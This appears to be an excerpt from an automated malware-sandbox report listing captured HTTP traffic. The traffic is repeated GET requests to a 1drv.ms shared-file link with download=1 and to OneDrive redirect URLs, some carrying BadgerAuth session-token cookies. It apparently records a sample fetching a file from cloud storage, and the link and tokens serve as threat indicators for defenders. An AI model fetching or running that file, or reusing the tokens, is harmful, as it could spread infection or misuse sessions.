Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODYwLCJuYmYiOjE3MjAxMTcwNjAsImdpdmVuX25hbWUiOiI1MiIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjJiMWJiZjkwNzdmMzkzYjc0YTU0ZmVjZTc0MzRlZmYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2MH0.KVKq7rf4KcdooPxur2-Yh9CaRgm-5Cg0i4thWQtP39Cxcwii_ozy8fStTKn6qPz57L-4jpDQ1WOu3Cb609LMYxOvi0jekh3MUvOFnY65qS-yexyajIa6nChBIVg5TCZ7P3ToRp6qjcqK-ec-Tp_1zq41FmX_X4bggqCvZGRbqVM8bQNEsVnQyBCfojr7vyc0uPNfobRaa_CS-qhgBkF4egULzTLLJSTbpjQ7aqSg93ssvIiLVw5TedRqt-vvN2hIfcum49jN4CIVJeIpTPas0SPmcCdha0KwFy-VOR5NrV38gq7WqKSGRtIH8tOEbcKsWVQKKYPePI0TsaTbjsgMaw; E=P:bgBCl1Wc3Ig=:lgbiOLAGLzsSbC3++tkUhvpjArVAGf0KihO/8nCa0Cg=:F; xid=22111238-8a0e-47e2-9608-fc4cbd0f86b1&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODYzLCJuYmYiOjE3MjAxMTcwNjMsImdpdmVuX25hbWUiOiIzMCIsImZhbWlseV9uYW1lIjoiQmVhdmVyIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNjkzYmYwNjdkOThlNzYxMjY0ZDExNGI5ZTYzMDlmZjUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2M30.PffwYqbtXcSlIESpw9NCnQXHL_OyLC1pYosVbzTBk1NGfmG5T_ifQyES0uFLUqDHDBQYIhLsCVkTnpI_gkHML-JUx_3lmNBEzUBlI_DBFu9w1Bl8t_PsQA19kyhcLTWRxfBb8-Itzji8BRrobmDYAZ_NERgul2gemyuhcHhvr_SVwUufFLBzJQNnL6TyGXyyY1xsMCVfU8utsscSfEaBbVg0XBusva8xVvhXYQifwzdN_EtlUJuYZUFEsM3AJIxV1sQmPQ2PjaVR4xY32OaFsEyOZ-8mFZdC6L4_or0SWkutYXO4l9GR6fLAJtUjk8TIzPXNgaBHgu10lwoE74PFRQ; E=P:e6lEmVWc3Ig=:OidNX7cWwGlQ8N4uz5b5AS2p05ONxHAs3VqhCADNGhs=:F; xid=c955b945-14dd-4256-9b93-dfa8e98448ca&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODY3LCJuYmYiOjE3MjAxMTcwNjcsImdpdmVuX25hbWUiOiI2OCIsImZhbWlseV9uYW1lIjoiSG9ybmV0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYTY5MGQwNjc0Y2YzODQ3M2Y5OTdmNWUxN2JmMmNiYTEiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2N30.DLY1REUYWUi0fPOqUkIJq9tJMjQ4AW-yY4OTUzq8m8PHiRYvTtDoekA_9HbJ3nvLk8HzROaV6pO0Bdd9lI2oWjEdB0rwZvhnqV1xe7c6oSbDpw3rwYtz10JTp6GqZ7Avs6erRsuYaDa-ihjNseDcAxVtv7TKlze-Q5NEaiCXofKNacz8G4CnK9Xr6PaCKzeYKm32WBR3BDlOkzvqJZDt5gLq1VTBkXB3b-VfWcpGmRuGS7HcRqdBQ1I0oZbc7AgqcBJixbdvpkQ0nYEFrbBzEySkAu3RjsXX8LyCW0OLmjAUouwqzstu_M0BlmNOjckpLa8smuQFrXpY_zuzODhf0g; E=P:lyQ8m1Wc3Ig=:DjavZp7Ys2YrJDqKWmx1raqGA0Y9nksrf4r0Stpm7l0=:F; xid=3495f473-89a5-415c-8e3e-e886984fb1ff&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODcwLCJuYmYiOjE3MjAxMTcwNzAsImdpdmVuX25hbWUiOiI4MyIsImZhbWlseV9uYW1lIjoiTGFyayIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImY3Mzk5YzY0MWUwMmU2Mjk2MTBmZmE1Y2U3OTA3YTgxIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNzB9.FUB6a9e9RlxnlxNg4ost6t2OOmCTGttrwgexI6hhU8oeuWptaBelIq1mr6zje3jFhtyZl4Ss8leuOSzjf-6Z_hnFzFVIa6VqNHky0rnC_T1gmqELYzGIA4nTgzr_Hcl3MZySf13ijFbKkN6gQppsuBmpSzKJjZHsY-eAz8Osq5CBUpZ00KuJCH3QmsSnweIK6HAs5ppizDqo475nt-c-uFlfXO2GGFDIgkJGRT8B82NCGMN6B4qpFtFXLD3-p0LFloKAnpU54VfIHh6nismA6TEq6wBmiFgA3jQTmdiMMbTXWHtmY68yFWHwrgdlp5CJwqhcQoLj6ZXk-Q-jEiDTvw; E=P:8poYnVWc3Ig=:szY5hgBsspJN/8gDNJZRwR9gSJATULzTEx63IvSeeVE=:F; xid=ff30a131-8574-4a26-a377-1cfd1d8b500a&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODc0LCJuYmYiOjE3MjAxMTcwNzQsImdpdmVuX25hbWUiOiIxNiIsImZhbWlseV9uYW1lIjoiV2FsbGFieSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjRlYzEzMzY5ZTEzZTNjZDhiNWE1NDJmNDVjYWZiMDFmIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNzR9.UwvxZDPsuVjalr5D86jdwhDLIPqV-lmNJSIDHFJcRNL2xa0MrV6frYxTCkwv18dr9flC_GrCIW0Yv9oNJJKZCXm__3mkyp42q_8baiEPKErZ46V8wkaup8qmbKE7qfQ-PZqItN0N2Qih9699FDapv-vwLFTNBMEmB8tW7BAFAc8FUerzCBrpEf5bDjR7rY-opQgPLNoJ_hpvnL1useMYJ0EoCdUiGRwdeeTs3pKQAGpweoCiCxZt7BwwIIGn44LL64c7SEWLBq51NwReLLvo0_LhwSZJRmvbs3aPS2SewXdupeIDPYxMsWf6pYnxNg8MRYWhNaCn1RdC3xIxU2H5zg; E=P:Wqx9n1Wc3Ig=:za7Nhuc7vcMx/lFTjsMRobGJcqjropL2ppyl+IEAkQo=:F; xid=e4393a97-5280-43bf-af52-5ef5669bff22&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODc4LCJuYmYiOjE3MjAxMTcwNzgsImdpdmVuX25hbWUiOiI1OSIsImZhbWlseV9uYW1lIjoiU2FsbW9uIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDljZGJjNTY1OTVjNDUzMWViOTI3ZjQ1NTQwMDA0YjMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA3OH0.MQ465LIuPJcXevAGGIMp6Mic20y3z37vcX8rF8RaJx485_PS3SJLLyhV0sW9Cx7QNJyA03K4KUodQ3j3bHXPFKM8Pgk_6xjzkwlhFtItp2dLa7xCB3s_DsanM1aet_KpA09fjLCwHLXGFVY7PezMKOW-iVhKrIyos495id2am4iJ4uPcpGz2HwWOTYaRctWiyKgnDG4qfzmcwTpjMMRsxLK1E_xQHOJFpzWJmlkEPSkSAxK_u171cMV5bW5faPyZ-ajFspTnyk-5mCpyRnxIDhWCOPNcZGSbT6lBMERi5AgW-cLCTlX6vUeVRmG1SfbKmTl256lm3i2MKmgJsCnz4Q; E=P:8Kg7olWc3Ig=:MPlWAQLAWfJiNArIepwtMJarjCAFtbPrMuhRUyNFLFA=:F; xid=fd4e766d-d1e7-4115-a056-66d167c1f135&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODgxLCJuYmYiOjE3MjAxMTcwODEsImdpdmVuX25hbWUiOiI3NCIsImZhbWlseV9uYW1lIjoiTW9sZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjViYWUxNzRjYTczMWRjYmVkNjJjNmVhMmE0YTg4ZjUwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwODF9.QrDDs1Lb_4CXZz3uFwiz6W9-yTvzTSyIqcX8xzYVFIL9k-iBCz4wfrH_k85dCj18CfFGsSCc2SQfLw5BIYu3IQwEP2EVlytQJgCylLCBRl-2D6xng1RdKTsiz6CnHL4ZXy19k4aI8U6qbg1z8RNcKqPOLMAvT51cHRDrMBqU3jLPPNoZ9grkxAFWWUAsD7DGmcdMRm6U3cUXyd682D3k-PToaWQYun5TNMzdSvRPvvGQPTCKACPuPvKGwUr1OvkaaMAx4pI8IgYL8ZRZEcdEUgN8CUsyHuGFGxh-wkl681-Y-hZ98l_MqnPw_3nSPaoxSJ9m7dprhNU5L2E5ITfLKA; E=P:CqUYpFWc3Ig=:W50Jt1npRgYvqU7zpWZ25GPMj19R8bBzcml8gAvIlCY=:F; xid=186bcc99-1d7d-4e42-979f-4381ee743ac2&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODg1LCJuYmYiOjE3MjAxMTcwODUsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiRG9nIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiOTQ0ODRlODBmNjM1NmZiYmQ0ZTJiOWIxZmQ0MWIxMTYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA4NX0.VkuBmEz7RKSCJsakjDEbARxRU4jSeNRrmqBd82QSaUnQ7bHPfOebT5-ayX7gRzMrl33hxna_GHylfXsZXQf5hQaDIuLlZsi26a6GGlqfmxszml_UsTdo_KU2DvJ62mk3D_asBOvW52MHH9U7_Ru42cYTC8vNc449wQQlet5BvV-e6NyRZvUQYBGxIrBayZMfBh8n_Ek-KwClAIrn2idS6Ip9fZgwBIonIlAPwJyYCxgHu4Y935AR2SnVQC0x0OlQh5Y7JwQC26iv8tWkcJ8iXqSMfYOZy2ZMeCOGJj169KBqlnvrN7iQQp9GpxpRKXaepQ8Mt7zrIE7J-xLvhFrHUw; E=P:d8IvplWc3Ig=:pAWsV1LppJR53Wm4ISs9siDZ14jJzrEZwJdDOkDZjoI=:F; xid=af8669c7-b9ea-42d5-80b9-acfc43b563cc&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODg4LCJuYmYiOjE3MjAxMTcwODgsImdpdmVuX25hbWUiOiIxMCIsImZhbWlseV9uYW1lIjoiV2hhbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJhNjMyYzA4ZjUyMjc0NDIxZWQ5YWQ4NzAwOTcxNjJkZSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDg4fQ.WzLF0bNkFXnqe_01T1CxwU5gQrnpUPcc3rejSUGRMiyRZN6awagWKB80lsaNh51OmGVyssjLJhGb1Yt-jkH0zQ09l-RBeqL3FU7S0XOrsQwpXvufWsyt2SV9HnDnrF2-SXHxzj9S9qMOMNLko0DrB3Vv65do6stVQj8E13-fkq7aeSfxqOvVHtzrecub9ehN9r4SWKsNCE_Mqj7Ul0ym6G83VYDMK_mgylmDEM9LZEQuVXwPB-cIk3bWvr3JoARybIUTFHnweg-lG78xmtXzqHCo7luMeoh73HGnJbskrDC76ZVJj7crpk9-rDoRt7Okkyzpy96UiOdF0VCaBDsWvQ; E=P:8RIyqFWc3Ig=:kTE1+5VSEMzsA6Wqguckv7wkNqG0MslPpR00czb9thA=:F; xid=49c89a51-6bfa-4db1-9d95-03a1c48b7b22&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODkyLCJuYmYiOjE3MjAxMTcwOTIsImdpdmVuX25hbWUiOiIyMiIsImZhbWlseV9uYW1lIjoiRWFnbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJlMWQ0NzhhMDQxNGIyY2I2OTNjMTM2OGNmYmZkMTNlNyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDkyfQ.Z70DoX9E07C0JLQOxVji5wkHB77Q-e9xgZGzc1d7TbfyF1IRMo7dLgv8TLOLXmWofr_tIABy01v9D3eJ7DtbfFytrl__nV-RqgrvitCve88-WEku1rbRstuuzjUIbdwXn53NrG_2s41obCO6Exe4S6efslKKxWexcRLq2NHby1J9LwOuhvdYRJ1LqZcJoKNcNcEtjKmPMARqvXfl2VDLySVF040OdmggLYZ1gn5PmRqfIKE2Oro9IBTV-DOCLZ2SkqlLTSHYgYBCBuvPt4fOtVY8niYybT2pr3dE9YAKyZgnHeDWogBYNa1jZoesIbjkFm0ihulVEY_DrFdZajiu0A; E=P:kXhTqlWc3Ig=:gwLO8twkpWshtFRNVc2YM0B2/4PcZF4tlNf/6aBEUlo=:F; xid=eaa721a7-6761-47d0-96c0-1afcc29c76ac&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
